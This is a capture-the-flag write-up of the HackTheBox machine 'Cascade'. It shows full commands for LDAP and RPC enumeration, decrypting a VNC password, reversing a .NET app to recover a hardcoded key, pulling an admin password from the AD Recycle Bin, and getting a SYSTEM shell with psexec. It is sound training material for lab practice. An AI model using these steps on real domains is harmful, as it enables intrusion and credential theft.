Cascade is another fun Windows machine with Medium difficulty from HackTheBox created by VbScrub, the creator of Nest. It starts with by enumerating LDAP to find a custom LDAP attribute on one of the users to gain initial access to SMB shares. Enumeration on SMB discovers VNC credentials that can be decrypted using IRB. The credentials can be used to gain a foothold on the system. Another enumeration on SMB with those credentials finds a set of custom application. The database file used by the application contains an encrypted credentials of another user which can be decrypted by reversing the application. The last credentials I obtained allow me to recover the administrator password from AD Recycle Bin.
Skills Learned
- RPC enumeration
- Decrypting VNC password
- Reversing .NET
Tools
- Nmap - Preinstalled in Kali Linux
- evil-winrm - https://github.com/Hackplayers/evil-winrm
- dnSpy - https://github.com/dnSpy/dnSpy/
- Impacket - https://github.com/SecureAuthCorp/impacket
Reconnaissance
Nmap
nmap
shows the typical port used by Active Directory domain controller.
root@iamf# nmap -sC -sV -oA nmap/initial-cascade 10.10.10.182
...[SNIP]..
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-03 00:20:10Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-03T00:21:02
|_ start_date: 2020-06-02T04:24:21
...[SNIP]..
nmap
reveals the AD domain name cascade.local
and identifies the OS to be Windows Server 2008 R2 SP1
The full scan almost returns the same result, it discovers a WinRM port (5985).
root@iamf# nmap -p- -oA nmap/full-cascade cascade.htb
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
I will add cascade.htb
to my /etc/hosts
Enumeration
TCP 445 - SMB / RPC over SMB
Anonymous login is allowed on SMB port. I tried to list all the shares using smbclient
but there was nothing there.
root@iamf# smbclient -N -L //10.10.10.182
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
Enumeration via RPC
Knowing anonymous login is allowed on SMB, I can try it too on RPC using rpcclient
and it works as well.
With current access, I can obtain the domain users and their groups manually.
User enumeration
root@iamf# rpcclient -U '%' 10.10.10.182
rpcclient $>
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
I’ll save the output to a file called users
, and filter the usernames only then pipe it to users.list
root@iamf# cat users | tr -d '[]' | cut -d ' ' -f1 | cut -c6- | tee users.list
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
Builtin group enumeration
rpcclient $> enumalsgroups builtin
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
Domain group enumeration
rpcclient $> enumalsgroups domain
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]
List group members:
Members of IT group (rid:0x459)
rpcclient $> queryaliasmem domain 0x459
sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
sid:[S-1–5–21–3332504370–1206983947–1165150453–1109]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1109
S-1–5–21–3332504370–1206983947–1165150453–1109 CASCADE\r.thompson (1)
Members of Remote Management Users group (rid:0x466)
rpcclient $> queryaliasmem domain 0x466
sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)
Member of AD Recycle Bin
rpcclient $> queryaliasmem domain 0x45f
sid:[S-1–5–21–3332504370–1206983947–1165150453–1106]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1106
S-1–5–21–3332504370–1206983947–1165150453–1106 CASCADE\arksvc (1)
Members of HR (rid:0x45b)
rpcclient $> queryaliasmem domain 0x45b
sid:[S-1–5–21–3332504370–1206983947–1165150453–1121]
Members of Audit group (rid:0x471)
rpcclient $> queryaliasmem domain 0x471
sid:[S-1–5–21–3332504370–1206983947–1165150453–1107]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–1107
S-1–5–21–3332504370–1206983947–1165150453–1107 CASCADE\s.smith (1)
Members of Data share group (rid:0x472)
rpcclient $> queryaliasmem domain 0x472
sid:[S-1–5–21–3332504370–1206983947–1165150453–513]
rpcclient $> lookupsids S-1–5–21–3332504370–1206983947–1165150453–513
S-1–5–21–3332504370–1206983947–1165150453–513 CASCADE\Domain Users (2)
After enough digging, I did a password spray with a pattern of “username%username”, but no luck.
Before moving on, I’ll note the Remote Management Users group members:
arksvc
s.smith
TCP 389 - LDAP
In LDAP, anonymous login are also allowed.
root@iamf# ldapsearch -h '10.10.10.182' -x -b "dc=cascade,dc=local" > ldap-enum
Nmap already identifies the Active Directory domain name as
cascade.local
. Because AD is basically based on the LDAP protocol, in LDAP form or known as a distinguished name, the AD domain usually follows “DC=NAME,DC=TLD”.
- cascade = NAME
- local = TLD (Top-Level Domain)
While examining the output from ldap-enum
, I spotted an interesting line from user Ryan Thompson.
...[SNIP]...
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
...[SNIP]...
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
...[SNIP]...
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
The cascadeLegacyPwd: clk0bjVldmE=
line only appears on Ryan Thompson section and it can be decoded into rY4n5eva
.
root@iamf# echo clk0bjVldmE= | base64 -d
rY4n5eva
I’ll mark the accounts that have a logonCount
value greater than one:
Foothold
Access as r.thompson
It turns out that the decoded cascadeLegacyPwd
is r.thompson
’s password.
With r.thompson
creds, I can see all the available shares.
root@iamf# crackmapexec smb cascade.htb -u r.thompson -p 'rY4n5eva' --shares
Data share
In Data shares, r.thompson
is only allowed to read IT folder. I’ll pull all the files from the IT folder using smbget
.
Recall enumeration via RPC,
r.thompson
is a member of the IT group.
root@iamf# smbget -R smb://cascade.htb/Data/IT/ -U r.thompson
Here is the directory structure of IT folder.
root@iamf# tree
.
└── IT
├── Email Archives
│ └── Meeting_Notes_June_2018.html
├── LogonAudit
├── Logs
│ ├── Ark AD Recycle Bin
│ │ └── ArkAdRecycleBin.log
│ └── DCs
│ └── dcdiag.log
└── Temp
├── r.thompson
└── s.smith
└── VNC Install.reg
9 directories, 4 files
The Meeting_Notes_June_2018.html
is an email (I drew a red line to indicate something important)
The second interesting file is VNC Install.reg
. It contains a stored password which can be decrypted according to this GitHub (https://github.com/frizb/PasswordDecrypts)
□□Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]
[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
...[SNIP]...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
...[SNIP]...
The third interesting file is ArkAdRecycleBin.log
. It looks like a log from a custom application. I’ll take note on “Moving object to AD recycle bin CN=TempAdmin” part.
1/10/2018 15:43 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
1/10/2018 15:43 [MAIN_THREAD] Validating settings...
1/10/2018 15:43 [MAIN_THREAD] Error: Access is denied
1/10/2018 15:43 [MAIN_THREAD] Exiting with error code 5
2/10/2018 15:56 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
2/10/2018 15:56 [MAIN_THREAD] Validating settings...
2/10/2018 15:56 [MAIN_THREAD] Running as user CASCADE\ArkSvc
2/10/2018 15:56 [MAIN_THREAD] Moving object to AD recycle bin CN=Test,OU=Users,OU=UK,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Successfully moved object. New location CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
2/10/2018 15:56 [MAIN_THREAD] Exiting with error code 0
8/12/2018 12:22 [MAIN_THREAD] ** STARTING - ARK AD RECYCLE BIN MANAGER v1.2.2 **
8/12/2018 12:22 [MAIN_THREAD] Validating settings...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0
As for dcdiag.log
, up until now, I had no idea what that log was about.
Shell as s.smith
Decrypt VNC Password
The VNC password can be decrypted using metasploit irb (interactive ruby).
root@iamf# msfconsole -q
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\x17Rk\x06#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0f"].pack('H*'), fixedkey
=> "sT333ve2"
Since it was discovered in s.smith
’s folder, I will try this decrypted password on user s.smith
.
Remote Access
From RPC enumeration, I already knew that user s.smith
is a member of Remote Management Users, so I could try it with evil-winrm
and it works.
root@iamf# evil-winrm -i cascade.htb -u s.smith -p 'sT333ve2'
I can grab user flag.
Privilege Escalation
Shell as arksvc
Audit$ share
After enumerating s.smith
’s privileges and groups, CASCADE\Audit Share
reminds me to the Audit$
share, to which I previously had no access.
*Evil-WinRM PS C:\Users\s.smith\Documents> whoami /all
I have read permissions now on Audit$
.
root@iamf# crackmapexec smb cascade.htb -u s.smith -p st333ve2 --shares
This share appears to contain an entire software application.
root@iamf# smbclient -U s.smith \\\\cascade.htb\\Audit$
I’ll download them all from Cascade to my Kali.
root@iamf# smbget -R smb://cascade.htb/Audit$ -U s.smith
The directory structure of the Audit$
share.
root@iamf# tree
.
├── CascAudit.exe
├── CascCrypto.dll
├── DB
│ └── Audit.db
├── RunAudit.bat
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── x64
│ └── SQLite.Interop.dll
└── x86
└── SQLite.Interop.dll
3 directories, 8 files
Since this is a Windows program, I will send them over to my Windows.
root@iamf# file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Analyzing Audit.db
Audit.db
is an SQlite3 database. As I’m analyzing on my Windows without SQLite installed, I’ll use an online SQLite viewer.
There are four tables in the database.
The records of the deleted AD object are kept in the DeletedUserAudit
table.
The Ldap
table contains the credentials for ArkSvc.
The password is not a simple base64 encoded string, but it is encrypted.
root@iamf# echo 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d
♣♥□□□□□□D□|zC□♠;#
Analyzing CascAudit.exe
When I run the program, it produces the following errors.
Don’t run an untrusted binary you downloaded from a CTF box.
I use a tool called dnSpy
to reverse CascAudit.exe. Once it is loaded, I will look at the main function.
public static void Main()
{
if (MyProject.Application.CommandLineArgs.Count != 1)
{
Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
return;
}
...[SNIP]...
try
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
str = Conversions.ToString(sqliteDataReader["Uname"]);
str2 = Conversions.ToString(sqliteDataReader["Domain"]);
string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}
...[SNIP]...
In order for the program to run properly, I need to specify the database path as its first argument.
...[SNIP]...
if (MyProject.Application.CommandLineArgs.Count != 1)
{
Console.WriteLine("Invalid number of command line args specified. Must specify database path only");
return;
}
...[SNIP]...
If the condition above is satisfied, it opens an SQL connection and fetches all data from the Ldap
table. Each of them is then stored into str
, str2
, and password
(after Pwd get decrypted).
...[SNIP]...
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
{
sqliteDataReader.Read();
str = Conversions.ToString(sqliteDataReader["Uname"]);
str2 = Conversions.ToString(sqliteDataReader["Domain"]);
string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
...[SNIP]...
The interesting part in the code above is, of course, the password decrypt line.
Since I only need the decrypt function, I could just remove all the codes and put only this line below on the main function and then print it out using Console.Write()
.
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
Decrypt Password
First, I’ll enter edit mode on the current main function
Then, I could only use the decrypt function in the main function. So the main function code now looks like this.
I’ll save it as a new program called CascAuditModified.exe
.
Now if I run it, I get the decrypted password: w3lc0meFr31nd
.
Remote Access - Arksvc
From my RPC enumeration, ArkSvc is a member of Remote Management Users, so I can use it with evil-winrm
.
root@iamf# evil-winrm -i cascade.htb -u arksvc -p 'w3lc0meFr31nd'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents>
Shell as NT Authority\System
Enumeration
I’ll wrap it up:
First, recall from RPC enumeration that user ArkSvc
is also a member of AD Recycle Bin. The AD Recycle Bin group gives you permission to read deleted AD objects.
Second, according to the email sent by Steve Smith, there is a temporary admin account called TempAdmin
that uses the same password as the “normal” admin account.
But, based on ArkAdRecycleBin.log
, TempAdmin
has been moved into AD Recycle Bin.
...[SNIP]...
8/12/2018 12:22 [MAIN_THREAD] Running as user CASCADE\ArkSvc
8/12/2018 12:22 [MAIN_THREAD] Moving object to AD recycle bin CN=TempAdmin,OU=Users,OU=UK,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Successfully moved object. New location CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
8/12/2018 12:22 [MAIN_THREAD] Exiting with error code 0
And now using ArksSvc
account, I can search all the deleted objects using the command below:
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * -includeDeletedObjects -SearchBase "DC=cascade,DC=local"
After looking through the output, I noticed that TempAdmin
has one interesting properties. It is another cascadeLegacyPwd
.
I can decode the value to plaintext
root@iamf# echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles
TempAdmin:baCT3r1aN00dles
Remote Access - NT Authority\System
The password works on the Administrator account, and I can obtain an interactive shell as NT Authority\System using psexec.py
.
→ root@iamf «cascade» «192.168.43.234»
$ psexec.py cascade.local/administrator:'baCT3r1aN00dles'@cascade.htb
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on cascade.htb.....
[*] Found writable share ADMIN$
[*] Uploading file cIaTzKbH.exe
[*] Opening SVCManager on cascade.htb.....
[*] Creating service UhAX on cascade.htb.....
[*] Starting service UhAX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
CASC-DC1